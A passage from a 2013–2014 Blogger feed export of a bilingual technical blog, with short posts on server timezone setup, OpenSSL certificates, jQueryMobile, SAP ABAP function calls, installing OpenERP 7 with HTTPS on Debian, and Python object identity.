scheme="http://www.blogger.com/atom/ns#" term="hora"/><category scheme="http://www.blogger.com/atom/ns#" term="timezone"/><title type='text'>[SOLVED] Servers Digital Ocean with timezone problems</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
use this command&lt;br /&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;
cp /usr/share/zoneinfo/Europe/Madrid /etc/localtime 
&lt;/pre&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/1457003314404295214/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/05/solved-servers-digital-ocean-with.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/1457003314404295214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/1457003314404295214'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/05/solved-servers-digital-ocean-with.html' title='[SOLVED] Servers Digital Ocean with timezone problems'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-3090139450069504412</id><published>2014-05-19T10:00:00.000+02:00</published><updated>2014-05-19T10:00:00.162+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="certificados"/><category scheme="http://www.blogger.com/atom/ns#" term="certificates"/><category scheme="http://www.blogger.com/atom/ns#" term="crear"/><category scheme="http://www.blogger.com/atom/ns#" term="create"/><category scheme="http://www.blogger.com/atom/ns#" term="openssl"/><title type='text'>How to create certificates in a single line </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
complete as follows&lt;br /&gt;
/C= Country Name (2 letter code)&lt;br /&gt;
/ST= State or Province Name (full name)&lt;br /&gt;
/L= Locality Name&lt;br /&gt;
/O= Organization Name&lt;br /&gt;
/OU= Organizational Unit Name&lt;br /&gt;
/CN=website.com&lt;br /&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;openssl req -new -newkey rsa:4096 -days 2 -nodes -x509 -subj &quot;/C=SP/ST=Madrid/L=Madrid/O=Empresa/OU=Internet Services/CN=website.com&quot; -keyout server.key  -out server.cert
&lt;/pre&gt;
&lt;a href=&quot;https://github.com/Endika/test_script/blob/master/auto_generate_certificate.sh&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;view example in github&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/3090139450069504412/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/05/how-to-create-certificates-in-single.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/3090139450069504412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/3090139450069504412'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/05/how-to-create-certificates-in-single.html' title='How to create certificates in a single line '/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.4167754 -3.7037901999999576 40.4167754 -3.7037901999999576</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-7203699851509109548</id><published>2014-02-17T10:10:00.000+01:00</published><updated>2014-02-17T10:10:00.192+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="jQuery"/><category scheme="http://www.blogger.com/atom/ns#" term="jquerymobile"/><category scheme="http://www.blogger.com/atom/ns#" term="mobile"/><category scheme="http://www.blogger.com/atom/ns#" term="movil"/><category scheme="http://www.blogger.com/atom/ns#" term="zoom"/><title type='text'>Solution jQueryMobile viewport tag</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
If we use the jQueryMobile library, it may not work the viewport tag&lt;br /&gt;
&lt;i&gt;Si usamos la librería jQueryMobile es muy posible que tengamos problemas para que nos funcione la etiqueta &lt;b&gt;viewport&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:js&quot;&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
...
&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, maximum-scale=2&quot;&amp;gt;
...
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
...
&amp;lt;/body&amp;gt;&lt;span style=&quot;font-family: Times New Roman;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
It has very easy solution. First step to remove the label.&lt;br /&gt;
&lt;i&gt;Bueno por suerte tiene muy fácil solución. Primer paso eliminar la etiqueta.&lt;/i&gt;&lt;br /&gt;
Second step, add an instruction using javascript with jquery.&lt;br /&gt;
&lt;i&gt;Segundo paso, añadimos mediante una instrucción javascript con jquery.&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:js&quot;&gt;jQuery(document).bind(&#39;mobileinit&#39;, function(){
        jQuery.mobile.metaViewportContent = &#39;width=device-width, minimum-scale=1, maximum-scale=2&#39;;
});&lt;span style=&quot;font-family: Times New Roman;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
With this statement, we can zoom in on our mobile device.&lt;br /&gt;
&lt;i&gt;Con esta instrucción, podremos hacer zoom en nuestro dispositivo movil.&lt;/i&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/7203699851509109548/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/02/solution-jquerymobile-viewport-tag.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/7203699851509109548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/7203699851509109548'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/02/solution-jquerymobile-viewport-tag.html' title='Solution jQueryMobile viewport tag'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.4167754 -3.7037901999999576 40.4167754 -3.7037901999999576</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-5512113970659935593</id><published>2014-02-06T13:15:00.000+01:00</published><updated>2014-02-06T13:15:00.026+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="funciones estándar"/><category scheme="http://www.blogger.com/atom/ns#" term="function"/><category scheme="http://www.blogger.com/atom/ns#" term="internal number"/><category scheme="http://www.blogger.com/atom/ns#" term="organización"/><category scheme="http://www.blogger.com/atom/ns#" term="organization"/><category scheme="http://www.blogger.com/atom/ns#" term="SAP"/><category scheme="http://www.blogger.com/atom/ns#" term="translate"/><title type='text'>Translate the organization number of internal number of SAP</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;    CALL METHOD cl_crm_org_management=&amp;gt;get_instance
      IMPORTING
        ev_instance = lv_orgman.

    CALL METHOD lv_orgman-&amp;gt;get_sales_org_of_vkorg
      EXPORTING
        iv_vkorg            = lv_s_vkorg
      IMPORTING
        ev_sales_org        = lv_sales_org
      EXCEPTIONS
        crm_key_not_defined = 1.&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/5512113970659935593/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/02/translate-organization-number-of.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/5512113970659935593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/5512113970659935593'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/02/translate-organization-number-of.html' title='Translate the organization number of internal number of SAP'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-8735549053732552232</id><published>2014-02-06T13:00:00.000+01:00</published><updated>2014-02-06T13:00:10.005+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ceros"/><category scheme="http://www.blogger.com/atom/ns#" term="funciones estándar"/><category scheme="http://www.blogger.com/atom/ns#" term="SAP"/><category scheme="http://www.blogger.com/atom/ns#" term="variable"/><category scheme="http://www.blogger.com/atom/ns#" term="zeros"/><title type='text'>How to delete the zeros of a variable?</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Use this function, and&amp;nbsp;convert 00001 to 1.&lt;br /&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;  CALL FUNCTION &#39;CONVERSION_EXIT_ALPHA_OUTPUT&#39;
    EXPORTING
      input  = lv_partner
    IMPORTING
      output = lv_partner.&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/8735549053732552232/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/02/how-to-delete-zeros-of-variable.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/8735549053732552232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/8735549053732552232'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/02/how-to-delete-zeros-of-variable.html' title='How to delete the zeros of a variable?'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-2868043018164946427</id><published>2014-02-03T15:00:00.000+01:00</published><updated>2014-02-03T15:00:11.999+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Cheat Cube"/><category scheme="http://www.blogger.com/atom/ns#" term="CRM"/><category scheme="http://www.blogger.com/atom/ns#" term="SAP"/><title type='text'>SAP Cheat Cube CRM version</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUxjIJUdA9w6wskFOElWKVu20jJDjNDHU-9fAC4PiobBRhUO8GhV-7Hd0nlkNCRx8PNZXuW40vRPsXYkAimFQ3FsZ64UNzO8E-p2eWASXPcOuCOyxOIknI0UZ9vEBwbCFwMJ8q8hY4872/s1600/SAP_Cheat_Cube_CRM_version.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; display: inline !important; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUxjIJUdA9w6wskFOElWKVu20jJDjNDHU-9fAC4PiobBRhUO8GhV-7Hd0nlkNCRx8PNZXuW40vRPsXYkAimFQ3FsZ64UNzO8E-p2eWASXPcOuCOyxOIknI0UZ9vEBwbCFwMJ8q8hY4872/s1600/SAP_Cheat_Cube_CRM_version.jpg&quot; height=&quot;226&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;Copying the idea of Cube Cheat. I have prepared one. You may download the image and print it for your personal use.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Copiando la idea de los Cheat Cube. He preparado uno.&amp;nbsp;Podéis&amp;nbsp;descargar la imagen sin&amp;nbsp;problema he imprimirla para vuestro uso personal.&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUxjIJUdA9w6wskFOElWKVu20jJDjNDHU-9fAC4PiobBRhUO8GhV-7Hd0nlkNCRx8PNZXuW40vRPsXYkAimFQ3FsZ64UNzO8E-p2eWASXPcOuCOyxOIknI0UZ9vEBwbCFwMJ8q8hY4872/s1600/SAP_Cheat_Cube_CRM_version.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNLOHSk2Eo03uz-i3-lk6O1SX6YNRtxBM8NnJcsyWGupMCO7llSoPdzfex1VunwUFH3UwmCm3udD5-Q-DnTYeLxL1O4dtQ06JwH-h1X5l2BEPeJ9TB7fSs6PE2nyspOphphzayyIa3WY6C/s1600/2014-01-31+21.20.22.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNLOHSk2Eo03uz-i3-lk6O1SX6YNRtxBM8NnJcsyWGupMCO7llSoPdzfex1VunwUFH3UwmCm3udD5-Q-DnTYeLxL1O4dtQ06JwH-h1X5l2BEPeJ9TB7fSs6PE2nyspOphphzayyIa3WY6C/s1600/2014-01-31+21.20.22.jpg&quot; height=&quot;200&quot; width=&quot;113&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Here is a preview of the final result.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Aquí una preview del resultado final.&lt;/i&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/2868043018164946427/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/02/sap-cheat-cube-crm-version.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/2868043018164946427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/2868043018164946427'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/02/sap-cheat-cube-crm-version.html' title='SAP Cheat Cube CRM version'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUxjIJUdA9w6wskFOElWKVu20jJDjNDHU-9fAC4PiobBRhUO8GhV-7Hd0nlkNCRx8PNZXuW40vRPsXYkAimFQ3FsZ64UNzO8E-p2eWASXPcOuCOyxOIknI0UZ9vEBwbCFwMJ8q8hY4872/s72-c/SAP_Cheat_Cube_CRM_version.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-346042183869500909</id><published>2014-01-18T20:00:00.000+01:00</published><updated>2014-01-18T20:00:00.273+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ABAP"/><category scheme="http://www.blogger.com/atom/ns#" term="BP"/><category scheme="http://www.blogger.com/atom/ns#" term="cliente"/><category scheme="http://www.blogger.com/atom/ns#" term="customer"/><category scheme="http://www.blogger.com/atom/ns#" term="number"/><category scheme="http://www.blogger.com/atom/ns#" term="numero BP"/><category scheme="http://www.blogger.com/atom/ns#" term="SAP"/><category scheme="http://www.blogger.com/atom/ns#" term="usuario"/><title type='text'>Get BP number with customer user (Obtén el numero de BP con el usuario del cliente)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Only use one function. It&#39;s very simple.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;      CALL FUNCTION &#39;YCRM_CC_FUNC_GET_FRONT_OFFICE&#39;
        EXPORTING
          user       = sy-uname 
        IMPORTING
          og_partner = lv_bp.&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;sy-uname&lt;/b&gt; is the global variable in ABAP contains the current user.&lt;br /&gt;
&lt;b&gt;lv_bp&lt;/b&gt; is the local variable containing BP code.
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/346042183869500909/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/01/get-bp-number-with-customer-user-obten.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/346042183869500909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/346042183869500909'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/01/get-bp-number-with-customer-user-obten.html' title='Get BP number with customer user (Obtén el numero de BP con el usuario del cliente)'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.4167754 -3.7037901999999576 40.4167754 -3.7037901999999576</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-6830800373895563156</id><published>2014-01-18T19:55:00.000+01:00</published><updated>2014-01-18T19:55:00.251+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ABAP"/><category scheme="http://www.blogger.com/atom/ns#" term="estructura"/><category scheme="http://www.blogger.com/atom/ns#" term="jefe"/><category scheme="http://www.blogger.com/atom/ns#" term="obtener superior"/><category scheme="http://www.blogger.com/atom/ns#" term="SAP"/><title type='text'>Read structures and get the sales manager (leer la estructura y obtener el jefe de ventas)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
For example, i need to get my sales manager of the organizational structure. The function is this&lt;br /&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;  CALL FUNCTION &#39;RH_STRUC_GET&#39;
    EXPORTING
      act_otype      = &#39;BP&#39;
      act_objid      = partner_no #enter de Partner number
      act_wegid      = &#39;BP-CP-O&#39;  #we indicate that we want to get
      act_tdepth     = 0
    TABLES
      result_tab     = lt_result #here the result
    EXCEPTIONS
      no_plvar_found = 1
      no_entry_found = 2
      OTHERS         = 3.&lt;/pre&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/6830800373895563156/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/01/read-structures-and-get-sales-manager.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6830800373895563156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6830800373895563156'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/01/read-structures-and-get-sales-manager.html' title='Read structures and get the sales manager (leer la estructura y obtener el jefe de ventas)'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.4167754 -3.7037901999999576 40.4167754 -3.7037901999999576</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-6474875514668799266</id><published>2014-01-18T19:40:00.000+01:00</published><updated>2014-01-18T19:48:44.740+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="configurar"/><category scheme="http://www.blogger.com/atom/ns#" term="configure"/><category scheme="http://www.blogger.com/atom/ns#" term="debian"/><category scheme="http://www.blogger.com/atom/ns#" term="https"/><category scheme="http://www.blogger.com/atom/ns#" term="instalar"/><category scheme="http://www.blogger.com/atom/ns#" term="install"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><category scheme="http://www.blogger.com/atom/ns#" term="ssl"/><title type='text'>Install OpenERP7 in Linux with HTTPS (Instalar OpenERP7 en Linux con HTTPS)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Is the time to upgrade. Ok, i will change many things. Conclude with Ubuntu and only use Debian. Continued...&lt;br /&gt;
&lt;i&gt;Es la hora de actualizarse. Ok, voy a cambiar muchas cosas. Termino con Ubuntu y sólo usaremos Debian. Continuamos...&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
The new version has changed many things,&amp;nbsp;easier installation. (in previous post&amp;nbsp;&lt;a href=&quot;http://optimizarsinmas.blogspot.com.es/2012/06/ubuntu-instalador-de-openerp-604-de-un.html&quot;&gt;Instalar OpenERP 6 de un golpe&lt;/a&gt;):&lt;br /&gt;
&lt;i&gt;La nueva versión a cambiado muchas cosas, una instalación más sencilla. (en post anteriores&amp;nbsp;&lt;a href=&quot;http://optimizarsinmas.blogspot.com.es/2012/06/ubuntu-instalador-de-openerp-604-de-un.html&quot;&gt;Instalar OpenERP 6 de un golpe&lt;/a&gt;):&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Add in /etc/apt/sources.list&lt;br /&gt;
&lt;pre class=&quot;brush:cpp;syntaxhighlighter&quot;&gt;echo &quot;deb http://nightly.openerp.com/7.0/nightly/deb/ ./&quot; &gt;&gt; /etc/apt/sources.list
sudo apt-get update; sudo apt-get install openerp
&lt;/pre&gt;
&lt;br /&gt;
And wait...&lt;br /&gt;
&lt;pre class=&quot;brush:cpp;syntaxhighlighter&quot;&gt;sudo service openerp start
&lt;/pre&gt;
&lt;br /&gt;
We can see the log, while loading&lt;br /&gt;
&lt;i&gt;Podemos ver el log, mientras carga
&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:cpp;syntaxhighlighter&quot;&gt;watch tail /var/log/openerp/openerp-server.log
&lt;/pre&gt;
&lt;br /&gt;
When loaded, configure the HTTPS&lt;br /&gt;
&lt;i&gt;Cuando esté cargado, configuramos el HTTPS&lt;/i&gt;&lt;br /&gt;
First, we block the default port 8069&lt;br /&gt;
&lt;i&gt;Primero, bloqueamos el puerto por defecto 8069&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:cpp;syntaxhighlighter&quot;&gt;sudo iptables -A INPUT -i eth0 -p tcp --destination-port 8069 -j DROP
&lt;/pre&gt;
&lt;br /&gt;
Second, we create the SSL&lt;br /&gt;
&lt;i&gt;Segundo, creamos el SSL&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:cpp;syntaxhighlighter&quot;&gt;#need these packages
sudo aptitude install apache2
sudo a2enmod ssl proxy_http headers rewrite

#Create de certificate
sudo mkdir /etc/ssl/openerp
cd /etc/ssl/openerp
openssl genrsa -des3 -out openERPserver.pkey 1024
openssl rsa -in openERPserver.pkey -out openERPserver.key
openssl req -new -key openERPserver.key -out openERPserver.csr

openssl x509 -req -days 365 -in openERPserver.csr -signkey openERPserver.key -out openERPserver.crt&lt;/pre&gt;
&lt;br /&gt;
Now we need to configure Apache to use SSL with openERP.&lt;br /&gt;
&lt;i&gt;Ahora tenemos que configurar apache para que use SSL con openERP.&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:cpp;syntaxhighlighter&quot;&gt;#Create the openerp file withthis content
sudo nano /etc/apache2/sites-available/openerp

#openerp file
&lt;virtualhost&gt;
       SSLEngine on
       SSLCertificateFile /etc/ssl/openerp/oeserver.crt
       SSLCertificateKeyFile /etc/ssl/openerp/oeserver.key

       ProxyRequests Off

       &lt;proxy&gt;
              Order deny,allow
              Allow from all
       &lt;/proxy&gt;

       ProxyVia On
       ProxyPass / http://127.0.0.1:8069/

       &lt;location&gt;
              ProxyPassReverse /
       &lt;/location&gt;

       RequestHeader set “X-Forwarded-Proto” “https”

       SetEnv proxy-nokeepalive 1
&lt;/virtualhost&gt;&lt;/pre&gt;
&lt;br /&gt;
And finally we enable our configuration&lt;br /&gt;
&lt;i&gt;Ya por último habilitamos nuestra configuración&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:cpp;syntaxhighlighter&quot;&gt;sudo a2ensite openerp
&lt;/pre&gt;
&lt;br /&gt;
We have already completed. Now run&lt;br /&gt;
&lt;i&gt;Ya hemos finalizado. Ahora ejecutamos&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:cpp;syntaxhighlighter&quot;&gt;https://ipservidor
&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/6474875514668799266/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/01/install-openerp7-in-linux-with-https.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6474875514668799266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6474875514668799266'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2014/01/install-openerp7-in-linux-with-https.html' title='Install OpenERP7 in Linux with HTTPS (Instalar OpenERP7 en Linux con HTTPS)'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-5192509796528961827</id><published>2013-10-18T10:15:00.000+02:00</published><updated>2013-11-08T11:09:29.631+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="punteros"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="simular"/><title type='text'>Punteros en Python (Pointers in Python)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
En realidad en Python todo son punteros he aquí una prueba sencilla:&lt;br /&gt;
&lt;i&gt;In Python all are pointers here&#39;s a simple example:&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;a=1
id(a) # posicion 11111
b=2
id(b) # posicion 22222
&lt;/pre&gt;
Los dos apuntan a posiciones distintas, pero....
&lt;br /&gt;
&lt;i&gt;They point to different positions, but ....&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;id(a) # posicion 11111
b=a
id(b) # posicion 11111
